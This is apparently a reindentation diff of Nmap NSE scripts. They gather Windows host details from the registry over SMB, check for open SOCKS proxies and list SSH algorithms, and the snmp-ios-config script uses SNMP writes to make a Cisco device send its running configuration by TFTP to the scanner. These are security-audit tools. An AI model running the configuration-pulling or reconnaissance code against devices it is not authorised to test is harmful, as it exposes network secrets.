-- status, result['physicalmemory'] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\ResourceMap\\System Resources\\Physical Memory", ".Translated")
|
||||
|
||||
-- TODO: Known DLLs?
|
||||
-- TODO: Known DLLs?
|
||||
|
||||
-- Paging file
|
||||
result['status-pagingfiles'], result['pagingfiles'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "PagingFiles")
|
||||
result['status-clearpagefileatshutdown'], result['clearpagefileatshutdown'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "ClearPageFileAtShutdown")
|
||||
-- Paging file
|
||||
result['status-pagingfiles'], result['pagingfiles'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "PagingFiles")
|
||||
result['status-clearpagefileatshutdown'], result['clearpagefileatshutdown'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "ClearPageFileAtShutdown")
|
||||
|
||||
-- OS Information
|
||||
result['status-csdversion'], result['csdversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CSDVersion")
|
||||
if(result['status-csdversion'] == false) then
|
||||
result['csdversion'] = "(no service packs)"
|
||||
end
|
||||
result['status-currentbuildnumber'], result['currentbuildnumber'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber")
|
||||
result['status-currenttype'], result['currenttype'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentType")
|
||||
result['status-currentversion'], result['currentversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion")
|
||||
result['status-installdate'], result['installdate'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "InstallDate")
|
||||
if(result['status-installdate'] ~= false) then
|
||||
result['installdate'] = os.date("%Y-%m-%d %H:%M:%S", result['installdate'])
|
||||
end
|
||||
-- OS Information
|
||||
result['status-csdversion'], result['csdversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CSDVersion")
|
||||
if(result['status-csdversion'] == false) then
|
||||
result['csdversion'] = "(no service packs)"
|
||||
end
|
||||
result['status-currentbuildnumber'], result['currentbuildnumber'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber")
|
||||
result['status-currenttype'], result['currenttype'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentType")
|
||||
result['status-currentversion'], result['currentversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion")
|
||||
result['status-installdate'], result['installdate'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "InstallDate")
|
||||
if(result['status-installdate'] ~= false) then
|
||||
result['installdate'] = os.date("%Y-%m-%d %H:%M:%S", result['installdate'])
|
||||
end
|
||||
|
||||
result['status-productname'], result['productname'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "Productname")
|
||||
result['status-registeredowner'], result['registeredowner'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOwner")
|
||||
result['status-registeredorganization'], result['registeredorganization'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOrganization")
|
||||
result['status-systemroot'], result['systemroot'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "SystemRoot")
|
||||
result['status-producttype'], result['producttype'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductType")
|
||||
result['status-productsuite'], result['productsuite'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductSuite")
|
||||
result['status-productname'], result['productname'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "Productname")
|
||||
result['status-registeredowner'], result['registeredowner'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOwner")
|
||||
result['status-registeredorganization'], result['registeredorganization'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOrganization")
|
||||
result['status-systemroot'], result['systemroot'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "SystemRoot")
|
||||
result['status-producttype'], result['producttype'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductType")
|
||||
result['status-productsuite'], result['productsuite'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductSuite")
|
||||
|
||||
-- Driver information
|
||||
result['status-video_driverdesc'], result['video_driverdesc'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", "DriverDesc")
|
||||
-- Driver information
|
||||
result['status-video_driverdesc'], result['video_driverdesc'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", "DriverDesc")
|
||||
|
||||
-- Software versions
|
||||
result['status-ie_version'], result['ie_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Internet Explorer\\Version Vector", "IE")
|
||||
result['status-ff_version'], result['ff_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Mozilla\\Mozilla Firefox", "CurrentVersion")
|
||||
if(result['status-ff_version'] == false) then
|
||||
result['ff_version'] = "<not installed>"
|
||||
end
|
||||
-- Software versions
|
||||
result['status-ie_version'], result['ie_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Internet Explorer\\Version Vector", "IE")
|
||||
result['status-ff_version'], result['ff_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Mozilla\\Mozilla Firefox", "CurrentVersion")
|
||||
if(result['status-ff_version'] == false) then
|
||||
result['ff_version'] = "<not installed>"
|
||||
end
|
||||
|
||||
msrpc.stop_smb(smbstate)
|
||||
msrpc.stop_smb(smbstate)
|
||||
|
||||
return true, result
|
||||
return true, result
|
||||
end
|
||||
|
||||
action = function(host)
|
||||
|
||||
local status, result = get_info_registry(host)
|
||||
local status, result = get_info_registry(host)
|
||||
|
||||
if(status == false) then
|
||||
return stdnse.format_output(false, result)
|
||||
end
|
||||
if(status == false) then
|
||||
return stdnse.format_output(false, result)
|
||||
end
|
||||
|
||||
local response = {}
|
||||
local response = {}
|
||||
|
||||
if(result['status-os'] == true) then
|
||||
local osdetails = {}
|
||||
osdetails['name'] = "OS Details"
|
||||
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
|
||||
table.insert(osdetails, string.format("Installed on %s", result['installdate']))
|
||||
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
|
||||
table.insert(osdetails, string.format("Path: %s", result['path']))
|
||||
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
|
||||
table.insert(osdetails, string.format("Page files: %s (cleared at shutdown => %s)", result['pagingfiles'], result['clearpagefileatshutdown']))
|
||||
table.insert(response, osdetails)
|
||||
if(result['status-os'] == true) then
|
||||
local osdetails = {}
|
||||
osdetails['name'] = "OS Details"
|
||||
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
|
||||
table.insert(osdetails, string.format("Installed on %s", result['installdate']))
|
||||
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
|
||||
table.insert(osdetails, string.format("Path: %s", result['path']))
|
||||
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
|
||||
table.insert(osdetails, string.format("Page files: %s (cleared at shutdown => %s)", result['pagingfiles'], result['clearpagefileatshutdown']))
|
||||
table.insert(response, osdetails)
|
||||
|
||||
local hardware = {}
|
||||
hardware['name'] = "Hardware"
|
||||
-- remove trailing zero terminator
|
||||
local num_procs = result['number_of_processors']:match("^[^%z]*")
|
||||
for i = 0, tonumber(num_procs) - 1, 1 do
|
||||
if(result['status-processornamestring'..i] == false) then
|
||||
result['status-processornamestring'..i] = "Unknown"
|
||||
end
|
||||
local hardware = {}
|
||||
hardware['name'] = "Hardware"
|
||||
-- remove trailing zero terminator
|
||||
local num_procs = result['number_of_processors']:match("^[^%z]*")
|
||||
for i = 0, tonumber(num_procs) - 1, 1 do
|
||||
if(result['status-processornamestring'..i] == false) then
|
||||
result['status-processornamestring'..i] = "Unknown"
|
||||
end
|
||||
|
||||
local processor = {}
|
||||
processor['name'] = string.format("CPU %d: %s [%dmhz %s]", i, string.gsub(result['processornamestring'..i], ' ', ''), result['~mhz'..i], result['vendoridentifier'..i])
|
||||
table.insert(processor, string.format("Identifier %d: %s", i, result['identifier'..i]))
|
||||
table.insert(hardware, processor)
|
||||
end
|
||||
table.insert(hardware, string.format("Video driver: %s", result['video_driverdesc']))
|
||||
table.insert(response, hardware)
|
||||
local processor = {}
|
||||
processor['name'] = string.format("CPU %d: %s [%dmhz %s]", i, string.gsub(result['processornamestring'..i], ' ', ''), result['~mhz'..i], result['vendoridentifier'..i])
|
||||
table.insert(processor, string.format("Identifier %d: %s", i, result['identifier'..i]))
|
||||
table.insert(hardware, processor)
|
||||
end
|
||||
table.insert(hardware, string.format("Video driver: %s", result['video_driverdesc']))
|
||||
table.insert(response, hardware)
|
||||
|
||||
local browsers = {}
|
||||
browsers['name'] = "Browsers"
|
||||
table.insert(browsers, string.format("Internet Explorer %s", result['ie_version']))
|
||||
if(result['status-ff_version']) then
|
||||
table.insert(browsers, string.format("Firefox %s", result['ff_version']))
|
||||
end
|
||||
table.insert(response, browsers)
|
||||
local browsers = {}
|
||||
browsers['name'] = "Browsers"
|
||||
table.insert(browsers, string.format("Internet Explorer %s", result['ie_version']))
|
||||
if(result['status-ff_version']) then
|
||||
table.insert(browsers, string.format("Firefox %s", result['ff_version']))
|
||||
end
|
||||
table.insert(response, browsers)
|
||||
|
||||
return stdnse.format_output(true, response)
|
||||
elseif(result['status-productname'] == true) then
|
||||
return stdnse.format_output(true, response)
|
||||
elseif(result['status-productname'] == true) then
|
||||
|
||||
local osdetails = {}
|
||||
osdetails['name'] = 'OS Details'
|
||||
osdetails['warning'] = "Access was denied for certain values; try an administrative account for more complete information"
|
||||
local osdetails = {}
|
||||
osdetails['name'] = 'OS Details'
|
||||
osdetails['warning'] = "Access was denied for certain values; try an administrative account for more complete information"
|
||||
|
||||
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
|
||||
table.insert(osdetails, string.format("Installed on %s", result['installdate']))
|
||||
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
|
||||
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
|
||||
table.insert(response, osdetails)
|
||||
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
|
||||
table.insert(osdetails, string.format("Installed on %s", result['installdate']))
|
||||
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
|
||||
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
|
||||
table.insert(response, osdetails)
|
||||
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
|
||||
return stdnse.format_output(false, "Account being used was unable to probe for information, try using an administrative account")
|
||||
return stdnse.format_output(false, "Account being used was unable to probe for information, try using an administrative account")
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -49,163 +49,163 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
|
||||
local try
|
||||
|
||||
local function sendrequest(socket, oid, setparam)
|
||||
local payload
|
||||
local options = {}
|
||||
options.reqId = 28428 -- unnecessary?
|
||||
payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, oid,setparam)))
|
||||
local payload
|
||||
local options = {}
|
||||
options.reqId = 28428 -- unnecessary?
|
||||
payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, oid,setparam)))
|
||||
|
||||
try(socket:send(payload))
|
||||
try(socket:send(payload))
|
||||
|
||||
-- read in any response we might get
|
||||
local status, response = socket:receive()
|
||||
if ( not(status) ) then return status, response end
|
||||
-- read in any response we might get
|
||||
local status, response = socket:receive()
|
||||
if ( not(status) ) then return status, response end
|
||||
|
||||
local result = snmp.fetchFirst(response)
|
||||
return true
|
||||
local result = snmp.fetchFirst(response)
|
||||
return true
|
||||
end
|
||||
|
||||
---
|
||||
-- Sends SNMP packets to host and reads responses
|
||||
action = function(host, port)
|
||||
|
||||
local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
|
||||
local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
|
||||
|
||||
if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
|
||||
return "ERROR: tftproot needs to end with slash"
|
||||
end
|
||||
if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
|
||||
return "ERROR: tftproot needs to end with slash"
|
||||
end
|
||||
|
||||
-- create the socket used for our connection
|
||||
local socket = nmap.new_socket()
|
||||
local socket = nmap.new_socket()
|
||||
|
||||
-- set a reasonable timeout value
|
||||
socket:set_timeout(5000)
|
||||
-- set a reasonable timeout value
|
||||
socket:set_timeout(5000)
|
||||
|
||||
-- do some exception handling / cleanup
|
||||
local catch = function() socket:close() end
|
||||
try = nmap.new_try(catch)
|
||||
|
||||
-- connect to the potential SNMP system
|
||||
try(socket:connect(host.ip, port.number, "udp"))
|
||||
-- connect to the potential SNMP system
|
||||
try(socket:connect(host.ip, port.number, "udp"))
|
||||
|
||||
local status, tftpserver, _, _, _ = socket:get_info()
|
||||
if( not(status) ) then
|
||||
return "ERROR: Failed to determin local ip"
|
||||
end
|
||||
local status, tftpserver, _, _, _ = socket:get_info()
|
||||
if( not(status) ) then
|
||||
return "ERROR: Failed to determin local ip"
|
||||
end
|
||||
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
|
||||
|
||||
local request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
|
||||
local request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
|
||||
|
||||
-- Fail silently if the first request doesn't get a proper response
|
||||
if ( not(request) ) then return end
|
||||
-- Fail silently if the first request doesn't get a proper response
|
||||
if ( not(request) ) then return end
|
||||
|
||||
-- since we got something back, the port is definitely open
|
||||
nmap.set_port_state(host, port, "open")
|
||||
-- since we got something back, the port is definitely open
|
||||
nmap.set_port_state(host, port, "open")
|
||||
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
|
||||
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
|
||||
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
|
||||
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
|
||||
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
|
||||
|
||||
local tbl = {}
|
||||
tbl._snmp = '40'
|
||||
for octet in tftpserver:gmatch("%d+") do
|
||||
table.insert(tbl, octet)
|
||||
end
|
||||
local tbl = {}
|
||||
tbl._snmp = '40'
|
||||
for octet in tftpserver:gmatch("%d+") do
|
||||
table.insert(tbl, octet)
|
||||
end
|
||||
|
||||
request = sendrequest(socket, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
|
||||
-- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
|
||||
request = sendrequest(socket, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
|
||||
-- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
|
||||
|
||||
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
|
||||
-- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
|
||||
-- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
|
||||
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
|
||||
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
|
||||
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
|
||||
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
|
||||
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
|
||||
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
|
||||
-- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
|
||||
-- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
|
||||
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
|
||||
|
||||
-- wait for sometime and print the status of filetransfer
|
||||
tftp.start()
|
||||
local status, infile = tftp.waitFile(host.ip .. "-config", 10)
|
||||
-- wait for sometime and print the status of filetransfer
|
||||
tftp.start()
|
||||
local status, infile = tftp.waitFile(host.ip .. "-config", 10)
|
||||
|
||||
-- build a SNMP v1 packet
|
||||
-- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
|
||||
-- build a SNMP v1 packet
|
||||
-- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
|
||||
|
||||
local options = {}
|
||||
options.reqId = 28428
|
||||
local payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")))
|
||||
local options = {}
|
||||
options.reqId = 28428
|
||||
local payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")))
|
||||
|
||||
try(socket:send(payload))
|
||||
try(socket:send(payload))
|
||||
|
||||
local status
|
||||
local response
|
||||
-- read in any response we might get
|
||||
status, response = socket:receive()
|
||||
local status
|
||||
local response
|
||||
-- read in any response we might get
|
||||
status, response = socket:receive()
|
||||
|
||||
if (not status) or (response == "TIMEOUT") then
|
||||
return "\n ERROR: Failed to receive cisco configuration file"
|
||||
end
|
||||
if (not status) or (response == "TIMEOUT") then
|
||||
return "\n ERROR: Failed to receive cisco configuration file"
|
||||
end
|
||||
|
||||
local result
|
||||
result = snmp.fetchFirst(response)
|
||||
local result
|
||||
result = snmp.fetchFirst(response)
|
||||
|
||||
if result == 3 then
|
||||
result = ( infile and infile:getContent() )
|
||||
if result == 3 then
|
||||
result = ( infile and infile:getContent() )
|
||||
|
||||
if ( tftproot ) then
|
||||
local fname = tftproot .. stdnse.filename_escape(host.ip .. "-config")
|
||||
local file, err = io.open(fname, "w")
|
||||
if ( file ) then
|
||||
file:write(result)
|
||||
file:close()
|
||||
else
|
||||
return "\n ERROR: " .. file
|
||||
end
|
||||
result = ("\n Configuration saved to (%s)"):format(fname)
|
||||
end
|
||||
else
|
||||
result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
|
||||
end
|
||||
if ( tftproot ) then
|
||||
local fname = tftproot .. stdnse.filename_escape(host.ip .. "-config")
|
||||
local file, err = io.open(fname, "w")
|
||||
if ( file ) then
|
||||
file:write(result)
|
||||
file:close()
|
||||
else
|
||||
return "\n ERROR: " .. file
|
||||
end
|
||||
result = ("\n Configuration saved to (%s)"):format(fname)
|
||||
end
|
||||
else
|
||||
result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
|
||||
end
|
||||
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
|
||||
-------------------------------------------------
|
||||
-- build a SNMP v1 packet
|
||||
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
|
||||
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
|
||||
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
|
||||
|
||||
try(socket:close())
|
||||
try(socket:close())
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
@@ -35,7 +35,7 @@ argument.
|
||||
--</table>
|
||||
--@usage
|
||||
-- nmap --script=socks-open-proxy \
|
||||
-- --script-args proxy.url=<host>,proxy.pattern=<pattern>
|
||||
-- --script-args proxy.url=<host>,proxy.pattern=<pattern>
|
||||
|
||||
author = "Joao Correa"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
@@ -159,7 +159,7 @@ local function default_test(host, port)
|
||||
end
|
||||
|
||||
portrule = shortport.port_or_service({1080, 9050},
|
||||
{"socks", "socks4", "socks5", "tor-socks"})
|
||||
{"socks", "socks4", "socks5", "tor-socks"})
|
||||
|
||||
action = function(host, port)
|
||||
local supported_versions
|
||||
|
||||
@@ -108,36 +108,36 @@ portrule = shortport.port_or_service(22, "ssh")
|
||||
-- algorithm name-lists are identical between the server-to-client and
|
||||
-- client-to-server types. Note that this simply modifies the passed tables.
|
||||
local combine_types = function(parsed, lists)
|
||||
local doubles = {
|
||||
"encryption_algorithms",
|
||||
"mac_algorithms",
|
||||
"compression_algorithms"
|
||||
}
|
||||
local doubles = {
|
||||
"encryption_algorithms",
|
||||
"mac_algorithms",
|
||||
"compression_algorithms"
|
||||
}
|
||||
|
||||
for _, i in ipairs(doubles) do
|
||||
local c2s = i .. "_client_to_server"
|
||||
local s2c = i .. "_server_to_client"
|
||||
for _, i in ipairs(doubles) do
|
||||
local c2s = i .. "_client_to_server"
|
||||
local s2c = i .. "_server_to_client"
|
||||
|
||||
if parsed[c2s] == parsed[s2c] then
|
||||
parsed[i] = parsed[c2s]
|
||||
parsed[c2s] = nil
|
||||
parsed[s2c] = nil
|
||||
table.insert(lists, i)
|
||||
else
|
||||
table.insert(lists, c2s)
|
||||
table.insert(lists, s2c)
|
||||
end
|
||||
end
|
||||
if parsed[c2s] == parsed[s2c] then
|
||||
parsed[i] = parsed[c2s]
|
||||
parsed[c2s] = nil
|
||||
parsed[s2c] = nil
|
||||
table.insert(lists, i)
|
||||
else
|
||||
table.insert(lists, c2s)
|
||||
table.insert(lists, s2c)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- Build and return the output table
|
||||
local output = function(parsed, lists)
|
||||
local out = stdnse.output_table()
|
||||
local out = stdnse.output_table()
|
||||
|
||||
for _, l in ipairs(lists) do
|
||||
local v = parsed[l]
|
||||
local a = v:len() > 0 and stdnse.strsplit(",", v) or {}
|
||||
if nmap.verbosity() > 0 then
|
||||
for _, l in ipairs(lists) do
|
||||
local v = parsed[l]
|
||||
local a = v:len() > 0 and stdnse.strsplit(",", v) or {}
|
||||
if nmap.verbosity() > 0 then
|
||||
setmetatable(a, {
|
||||
__tostring = function(t)
|
||||
return string.format("(%d)\n %s", #t, table.concat(t, "\n "))
|
||||
@@ -149,70 +149,70 @@ local output = function(parsed, lists)
|
||||
return string.format("(%d)", #t)
|
||||
end
|
||||
})
|
||||
end
|
||||
end
|
||||
out[l] = a
|
||||
end
|
||||
end
|
||||
|
||||
return out
|
||||
return out
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local sock = nmap.new_socket()
|
||||
local status = sock:connect(host, port)
|
||||
local sock = nmap.new_socket()
|
||||
local status = sock:connect(host, port)
|
||||
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
|
||||
status = sock:receive_lines(1)
|
||||
if not status then
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
status = sock:receive_lines(1)
|
||||
if not status then
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
|
||||
status = sock:send("SSH-2.0-Nmap-SSH2-Enum-Algos\r\n")
|
||||
if not status then
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
status = sock:send("SSH-2.0-Nmap-SSH2-Enum-Algos\r\n")
|
||||
if not status then
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
|
||||
local ssh = ssh2.transport
|
||||
local ssh = ssh2.transport
|
||||
|
||||
-- I would think that the server would send its kex data right after
|
||||
-- receiving and verifying our protocol id string above, then we could
|
||||
-- just use it here, but I've seen no definitive documentation saying
|
||||
-- that we don't ever send ours first. All I've seen is that if the
|
||||
-- server doesn't care about compatibility with older clients then it
|
||||
-- MAY send its kex data after the protocol id string. So I guess I'll
|
||||
-- send it here until I know for sure (removing this send works against
|
||||
-- OpenSSH though).
|
||||
local pkt = ssh.build(ssh.kex_init())
|
||||
-- I would think that the server would send its kex data right after
|
||||
-- receiving and verifying our protocol id string above, then we could
|
||||
-- just use it here, but I've seen no definitive documentation saying
|
||||
-- that we don't ever send ours first. All I've seen is that if the
|
||||
-- server doesn't care about compatibility with older clients then it
|
||||
-- MAY send its kex data after the protocol id string. So I guess I'll
|
||||
-- send it here until I know for sure (removing this send works against
|
||||
-- OpenSSH though).
|
||||
local pkt = ssh.build(ssh.kex_init())
|
||||
|
||||
status = sock:send(pkt)
|
||||
if not status then
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
status = sock:send(pkt)
|
||||
if not status then
